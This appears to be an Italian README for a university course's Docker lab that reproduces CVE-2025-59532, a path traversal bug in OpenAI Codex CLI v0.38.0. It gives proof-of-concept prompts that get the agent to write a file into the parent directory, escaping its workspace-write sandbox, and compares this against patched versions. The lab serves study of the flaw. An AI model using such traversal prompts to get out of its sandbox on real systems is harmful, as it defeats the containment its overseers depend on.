
Un ambiente di ricerca basato su Docker per analizzare CVE-2025-59532, una vulnerabilità di path traversal in OpenAI Codex CLI che permette la scrittura arbitraria di file al di fuori del sandbox previsto dell'area di lavoro. Parte del corso CMU : 18-739 Hacking & Offensive Security nell'autunno 2025
Un ambiente di ricerca basato su Docker per analizzare CVE-2025-59532, una vulnerabilità di path traversal in OpenAI Codex CLI che permette la scrittura arbitraria di file al di fuori del workspace sandbox previsto. Parte del corso CMU: 18-739 Hacking & Offensive Security nell'autunno 2025
Per prima cosa, clona questo repository:
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
Oppure se usi SSH:
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
CVE-2025-59532 è una vulnerabilità di path traversal nello strumento Codex CLI di OpenAI che permette agli attaccanti di scrivere file al di fuori della directory workspace prevista, bypassando le restrizioni della sandbox.
../exploit.txt), eludendo la sandbox del workspace anche quando --sandbox workspace-write è abilitato.La vulnerabilità sfrutta una validazione insufficiente dei percorsi nell'implementazione della sandbox del workspace. Quando la modalità sandbox workspace-write è abilitata, Codex dovrebbe limitare le operazioni sui file alla directory workspace designata. Tuttavia, nella v0.38.0, la validazione dei percorsi non gestisce correttamente le sequenze di path traversal relative (../), permettendo a un attaccante di scrivere file al di fuori della sandbox istruendo l'AI a usare riferimenti alle directory principali.
docker build -t cve-2025-59532:latest .
docker run -it --rm cve-2025-59532:latest
Questo ambiente Docker include tre versioni di Codex CLI:
Una volta dentro il contenitore, configura la tua chiave API OpenAI eseguendo semplicemente codex in modalità interattiva e incollando la chiave API lì:
codex
La chiave API verrà salvata in ~/.config/codex/auth.json e sarà utilizzata da tutte le versioni di Codex (codex38, codex39, codex50).
codex38 --version # Dovrebbe mostrare v0.38.0 (vulnerabile)
codex39 --version # Dovrebbe mostrare v0.39.0 (patchata)
codex50 --version # Dovrebbe mostrare v0.50.0 (più recente)
Nota: Il workspace si trova in /workspace/child. La vulnerabilità permette di scrivere in /workspace (la directory padre).
Test della versione vulnerabile (v0.38.0):
codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof1.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Test della versione patchata (v0.39.0):
codex39 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof2.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Test dell'ultima versione (v0.50.0):
codex50 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof3.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Verifica l'exploit:
# Controlla se i file sono stati creati al di fuori della sandbox (in /workspace, non in /workspace/child)
ls -la /workspace/
cat /workspace/exploit_proof1.txt # Dovrebbe esistere se v0.38.0 è vulnerabile
cat /workspace/exploit_proof2.txt # NON dovrebbe esistere se v0.39.0 è patchata
cat /workspace/exploit_proof3.txt # NON dovrebbe esistere se v0.50.0 è sicura
# Controlla il workspace corrente (dovrebbe essere vuoto o contenere solo file di test)
pwd # Dovrebbe mostrare /workspace/child
ls -la /workspace/child/
Per vedere i log di debug dettagliati dell'esecuzione di Codex:
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof.txt' in the parent directory with content 'CVE-2025-59532 POC'"
I log di debug mostreranno: